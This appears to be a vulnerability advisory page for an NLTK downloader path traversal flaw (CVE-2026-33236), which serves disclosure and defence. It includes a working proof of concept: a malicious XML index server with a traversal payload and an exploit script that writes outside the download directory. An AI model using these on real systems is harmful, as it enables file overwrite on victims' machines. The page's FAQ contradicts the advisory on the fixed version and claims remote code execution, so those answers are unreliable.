CVE-2026-33236: NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Published Mar 19, 2026
·
Updated

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorizedkeys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(downloaddir, info.filename) - Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(downloaddir, info.subdir), existok=True) - Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. downloadpackage() constructs path: downloaddir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: downloaddir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten!

Impact Scope 1. System File Overwrite

Reproduction Steps

Environment Setup

1. Install NLTK bash pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server bash python3 maliciousserver.py

Step 2: Run exploit script bash python3 exploitvulnerability.py

Step 3: Verify results bash ls -la /tmp/testfile.zip

Proof of Concept

Malicious Server (maliciousserver.py)

python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler

Create temporary directory serverdir = tempfile.mkdtemp(prefix="nltkmalicious")

Create malicious XML (contains path traversal) maliciousxml = """<?xml version="1.0"?> <nltkdata> <packages> <package id="testfile" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzippedsize="100" unzip="0"/> </packages> </nltkdata> """

Save files with open(os.path.join(serverdir, "maliciousindex.xml"), "w") as f: f.write(maliciousxml)

with zipfile.ZipFile(os.path.join(serverdir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!")

HTTP Handler class Handler(BaseHTTPRequestHandler): def doGET(self): if self.path == '/maliciousindex.xml': self.sendresponse(200) self.sendheader('Content-type', 'application/xml') self.endheaders() with open(os.path.join(serverdir, 'maliciousindex.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.sendresponse(200) self.sendheader('Content-type', 'application/zip') self.endheaders() with open(os.path.join(serverdir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.sendresponse(404) self.endheaders() def logmessage(self, format, args): pass

Start server if name == "main": port = 8888 server = HTTPServer(("0.0.0.0", port), Handler) print(f"Malicious server started: http://127.0.0.1:{port}/maliciousindex.xml") print("Press Ctrl+C to stop") try: server.serveforever() except KeyboardInterrupt: print("\nServer stopped")

Exploit Script (exploitvulnerability.py)

python #!/usr/bin/env python3 """AFO Vulnerability Exploit Script""" import os import tempfile

def exploit(serverurl="http://127.0.0.1:8888/maliciousindex.xml"): downloaddir = tempfile.mkdtemp(prefix="nltkexploit") print(f"Download directory: {downloaddir}") # Exploit vulnerability from nltk.downloader import Downloader downloader = Downloader(serverindexurl=serverurl, downloaddir=downloaddir) downloader.download("testfile", quiet=True) # Check results expectedpath = "/tmp/testfile.zip" if os.path.exists(expectedpath): print(f"\n✗ Exploit successful! File written to: {expectedpath}") print(f"✗ Path traversal attack successful!") else: print(f"\n? File not found, download may have failed")

if name == "main": exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/testfile.zip ✗ Path traversal attack successful!

Other sources

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.

MITRE

Affected Software

3 affected components
pip/nltk<=3.9.2
nltk nltk<=3.9.3
debian/nltk<=3.5-1, <=3.8-1, <=3.9.1-2, <=3.9.3-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a
  2. Configuration

    In NLTK downloader code that processes remote XML index files (e.g., where it uses subdir and id for path construction in nltk/downloader.py:687 and object filename in nltk/downloader.py:695), add/enable validation so remote XML attributes containing path traversal sequences like '../' cannot be used for arbitrary directory creation, file creation, or overwrite.

    NLTK downloader (nltk/downloader.py) Validation of remote XML attributes = Enable validation for subdir and id when processing remote XML index files

Event History

Mar 19, 2026
Advisory Published
via GitHub·12:42 PM
Data Sourced
via GitHub·12:42 PM
DescriptionSeverityWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·10:47 PM
Data Sourced
via MITRE·10:47 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·11:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·11:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
May 25, 2026
Data Sourced
via Ubuntu·10:06 PM
RemedyDescriptionSeverityAffected Software
Data Sourced
via Debian·10:08 PM
DescriptionAffected Software
Data Sourced
via Launchpad·10:08 PM
Description
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33236?

The severity of CVE-2026-33236 is considered high due to the potential for remote code execution through path traversal attacks.

2

How do I fix CVE-2026-33236?

To fix CVE-2026-33236, ensure you update to NLTK version 3.9.3 or later, which addresses the vulnerability.

3

What causes CVE-2026-33236?

CVE-2026-33236 is caused by the NLTK downloader's failure to validate the `subdir` and `id` attributes from remote XML index files.

4

Who is affected by CVE-2026-33236?

CVE-2026-33236 affects users of the NLTK package version 3.9.2 and earlier that rely on remote XML index files.

5

Can CVE-2026-33236 lead to data breaches?

Yes, if exploited, CVE-2026-33236 can lead to unauthorized access to sensitive files, resulting in data breaches.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203